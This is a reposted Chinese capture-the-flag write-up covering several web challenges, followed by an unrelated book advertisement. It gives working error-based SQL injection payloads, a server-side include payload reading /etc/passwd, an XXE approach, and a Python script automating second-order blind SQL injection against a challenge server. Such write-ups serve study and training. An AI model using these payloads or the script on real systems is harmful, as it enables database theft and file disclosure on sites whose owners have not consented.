随手登录一下
发现报错,于是尝试
admin' and (extractvalue(1,concat(0x7e,database())))#
admin' and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))))#
admin' and (extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'))))#
admin' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))))#
前半段
'~EIS{7879f0a27d8bcfcff0bcc837d76'
admin' and (extractvalue(1,concat(0x7e,(select substr(flag,30,60) from flag limit 0,1))))#
后半段
~7641e81}
最后flag
EIS{7879f0a27d8bcfcff0bcc837d7641e81}
SimpleServerInjection
题目提示
SimpleServerInjection, SSI, flag in current directory
随即搜索SSI
https://blog.csdn.net/wutianxu123/article/details/82724637
结果这个文章第一个就是payload。。。
<!--#include virtual="/etc/passwd" -->
于是测试
http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->
得到flag
EIS{59f2c02f18838b3fb57dd57e2808f9c2}
SimpleExtensionExplorerInjection
题目提示XXE,直接xxe是不行的
所以需要改type
然后即可xxe读文件,得到flag
SimplePrintEventLogger
直接可以进行列目录
然后得到flag
不知道是不是非预期了?题目提示RCE,还有一个backdoor的路由没用上
SimpleBlog
发现题目提示2次注入
于是尝试注册
sky' sky'#
发现前者分数都是0,后者有分数
那么可以判断,更新分数的时候使用了用户名
但是想要构造一般的bool盲注不行,因为必须 sql 语句报错
这里想到整数溢出问题
1' and if(1,exp(999999999999),1)#
这样即可使sql语句报错,导致出现
grade 0
而如果使用
1' and if(0,exp(999999999999),1)#
那么分数一切正常,于是可以利用这一点进行注入
编写脚本
import requests
def reg(username,password='1'):
data = {
'username':username,
'password':password
}
url = 'http://210.32.4.20/register.php'
r = requests.post(url=url,data=data)
return r.headers['Set-Cookie'][10:-8]
def login(session,username,password='1'):
data = {
'username': username,
'password': password
}
cookie = {
'PHPSESSID':session
}
url = 'http://210.32.4.20/login.php'
r = requests.post(url=url, data=data,cookies=cookie)
data = {
'10.a':'on'
}
url = 'http://210.32.4.20/answer.php'
r = requests.post(url=url, data=data,cookies=cookie)
if 'Your grades is 0' in r.content:
return 1
url = 'http://210.32.4.20/logout.php'
r = requests.get(url=url,cookies=cookie)
return 0
flag = 'EIS{'
for i in range(5,1000):
for k in 'abcdef0123456789}':
j = ord(k)
payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j)
try:
session = reg(payload)
if login(session,payload):
flag+=chr(j)
print flag
break
except:
session = reg(payload)
if login(session,payload):
flag+=chr(j)
print flag
break
不知道题目提示文件包含是什么意思,可能非预期了?
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
世界是平的(3.0版)
[美] 托马斯·弗里德曼 / 何帆、肖莹莹、郝正非 / 湖南科学技术出版社 / 2008-9 / 58.00元
世界变得平坦,是不是迫使我们跑得更快才能拥有一席之地? 在《世界是平的》中,托马斯·弗里德曼描述了当代世界发生的重大变化。科技和通信领域如闪电般迅速的进步,使全世界的人们可以空前地彼此接近——在印度和中国创造爆炸式增长的财富;挑战我们中的一些人,比他们更快占领地盘。3.0版新增两章,更新了报告和注释方面的内容,这些内容均采自作者考察世界各地特别是整个美国中心地带的见闻,在美国本土,世界的平坦......一起来看看 《世界是平的(3.0版)》 这本书的介绍吧!